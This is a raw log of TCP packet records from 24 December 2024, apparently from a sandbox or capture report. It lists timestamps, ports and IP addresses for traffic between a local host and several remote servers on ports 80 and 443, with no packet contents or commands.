Dec 24, 2024 12:39:53.635457993 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.682719946 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.682825089 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.682885885 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.682915926 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.682996035 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.683039904 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.683108091 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.683149099 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.683866024 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.683912992 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.684030056 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.684072018 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.684775114 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.684839964 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.684840918 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.684878111 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.685631037 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.685677052 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.685748100 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.685792923 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.686481953 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.686527014 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.686619997 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.686665058 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.687386036 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.687433004 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.687483072 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.687526941 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.688249111 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.688291073 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.688448906 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.688493013 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.689158916 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.689202070 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.689254999 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.689300060 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.690112114 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.690155983 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.690519094 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.690562010 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.690980911 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.691025972 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.691036940 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.691073895 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.691764116 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.691809893 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.691876888 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.691920042 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.692635059 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.692682028 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.692750931 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.692795038 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.693540096 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.693655968 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.693743944 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.693792105 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.694508076 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.694555044 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.694571018 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.694617033 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.695292950 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.695364952 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.695432901 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.695477009 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.696161032 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.696213961 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.696289062 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.696331978 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.697041035 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.697088957 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.697146893 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.697192907 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.697921991 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.697971106 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:53.698054075 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:53.698103905 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:55.285454035 CET	49796	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:55.285489082 CET	443	49796	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:55.285561085 CET	49796	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:55.285965919 CET	49796	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:55.285993099 CET	443	49796	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:55.448029041 CET	49797	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:55.448088884 CET	443	49797	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:55.448156118 CET	49797	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:55.448380947 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:55.448417902 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:55.448477030 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:55.448642015 CET	49797	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:55.448661089 CET	443	49797	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:55.448801994 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:55.448828936 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:55.528860092 CET	49800	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:55.528913021 CET	443	49800	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:55.528974056 CET	49800	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:55.529259920 CET	49800	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:55.529278040 CET	443	49800	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:56.983968973 CET	443	49796	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:56.999640942 CET	49796	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:56.999690056 CET	443	49796	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:57.003447056 CET	443	49796	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:57.003549099 CET	49796	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:57.008809090 CET	49796	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:57.008991957 CET	443	49796	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:57.013257027 CET	49796	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:57.013273954 CET	443	49796	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:57.069395065 CET	49796	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:57.130223989 CET	443	49797	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:57.143115997 CET	49797	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:57.143148899 CET	443	49797	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:57.144020081 CET	443	49797	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:57.144102097 CET	49797	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:57.145327091 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:57.150657892 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:57.150685072 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:57.151330948 CET	49797	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:57.151390076 CET	443	49797	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:57.151489019 CET	49797	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:57.152175903 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:57.152240038 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:57.153121948 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:57.153215885 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:57.153850079 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:57.153866053 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:57.193911076 CET	49797	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:57.193932056 CET	443	49797	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:57.193999052 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:57.218976021 CET	443	49800	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:57.219301939 CET	49800	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:57.219355106 CET	443	49800	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:57.220781088 CET	443	49800	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:57.220901012 CET	49800	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:57.221348047 CET	49800	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:57.221431017 CET	443	49800	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:57.221574068 CET	49800	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:57.244880915 CET	49797	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:57.253025055 CET	49797	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:57.253076077 CET	443	49797	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:57.253125906 CET	49797	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:57.267339945 CET	443	49800	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:57.268038034 CET	49800	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:57.268050909 CET	443	49800	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:57.311878920 CET	49800	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:57.392321110 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:57.392389059 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:57.844881058 CET	443	49796	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:57.845268011 CET	443	49796	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:57.845372915 CET	49796	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:57.846427917 CET	49796	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:57.846456051 CET	443	49796	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:57.991817951 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:57.991977930 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:57.992074966 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:57.992119074 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:57.992153883 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:57.992212057 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:57.992223024 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:57.999448061 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:57.999516010 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:57.999531984 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.014890909 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.014955044 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.014972925 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.024590015 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.024660110 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.024682045 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.068474054 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.078835011 CET	443	49800	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.078984976 CET	443	49800	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.079044104 CET	49800	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.080113888 CET	49800	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.080133915 CET	443	49800	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.110999107 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.160613060 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.160635948 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.183352947 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.183423996 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.183442116 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.192941904 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.193031073 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.193047047 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.202503920 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.202562094 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.202578068 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.216320992 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.216388941 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.216404915 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.229978085 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.230076075 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.230097055 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.242475033 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.245754004 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.245770931 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.254944086 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.256144047 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.256159067 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.267549992 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.267627954 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.267642975 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.277216911 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.277282000 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.277297020 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.289551020 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.289649963 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.289664984 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.301827908 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.301909924 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.301924944 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.314407110 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.315929890 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.315947056 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.365408897 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.375498056 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.377713919 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.377793074 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.377809048 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.391235113 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.391288042 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.391299009 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.396502018 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.396554947 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.396564007 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.409164906 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.409245014 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.409252882 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.409281015 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.409337997 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.420643091 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.432054043 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.432238102 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.433873892 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.433886051 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.434220076 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.443099022 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.454444885 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.454530001 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.454622984 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.454639912 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.454752922 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.465348959 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.476316929 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.476398945 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.476402044 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.476425886 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.476480961 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.487217903 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.498068094 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.498184919 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.498218060 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.507628918 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.507705927 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.507720947 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.507745981 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.507806063 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.517187119 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.526410103 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.526494980 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.526567936 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.526602030 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.527764082 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.535239935 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.544004917 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.544070005 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.544086933 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.545413017 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.547748089 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.547761917 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.554075956 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.554240942 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.554255009 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.562921047 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.563070059 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.563083887 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.568664074 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.568757057 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.568770885 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.575444937 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.576370955 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.576385021 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.579957962 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.580049038 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.580061913 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.585007906 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.585072041 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.585086107 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.590590954 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.590687037 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.590701103 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.597709894 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.597789049 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.597805023 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.603118896 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.603178978 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.603193998 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.607078075 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.607765913 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.607781887 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.612823009 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.612886906 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.612900972 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.616386890 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.616456985 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.616471052 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.624206066 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.624279022 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.624293089 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.624763012 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.624850035 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.625282049 CET	443	49798	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:58.625368118 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:58.625368118 CET	49798	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:59.678378105 CET	49817	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:59.678420067 CET	443	49817	142.250.181.68	192.168.2.5
Dec 24, 2024 12:39:59.678528070 CET	49817	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:59.682424068 CET	49817	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:39:59.682436943 CET	443	49817	142.250.181.68	192.168.2.5
Dec 24, 2024 12:40:01.066473961 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:01.066874981 CET	49828	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:01.185957909 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:01.186364889 CET	80	49828	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:01.186450958 CET	49828	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:01.189587116 CET	49828	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:01.309240103 CET	80	49828	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:01.375638008 CET	443	49817	142.250.181.68	192.168.2.5
Dec 24, 2024 12:40:01.375881910 CET	49817	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:40:01.375895023 CET	443	49817	142.250.181.68	192.168.2.5
Dec 24, 2024 12:40:01.376353025 CET	443	49817	142.250.181.68	192.168.2.5
Dec 24, 2024 12:40:01.376718998 CET	49817	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:40:01.376799107 CET	443	49817	142.250.181.68	192.168.2.5
Dec 24, 2024 12:40:01.427732944 CET	49817	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:40:02.316086054 CET	49832	443	192.168.2.5	172.217.17.46
Dec 24, 2024 12:40:02.316103935 CET	443	49832	172.217.17.46	192.168.2.5
Dec 24, 2024 12:40:02.316517115 CET	49832	443	192.168.2.5	172.217.17.46
Dec 24, 2024 12:40:02.317178011 CET	49832	443	192.168.2.5	172.217.17.46
Dec 24, 2024 12:40:02.317187071 CET	443	49832	172.217.17.46	192.168.2.5
Dec 24, 2024 12:40:02.957932949 CET	49703	443	192.168.2.5	23.1.237.91
Dec 24, 2024 12:40:02.968214989 CET	49703	443	192.168.2.5	23.1.237.91
Dec 24, 2024 12:40:02.970880032 CET	49837	443	192.168.2.5	23.1.237.91
Dec 24, 2024 12:40:02.970932961 CET	443	49837	23.1.237.91	192.168.2.5
Dec 24, 2024 12:40:02.970998049 CET	49837	443	192.168.2.5	23.1.237.91
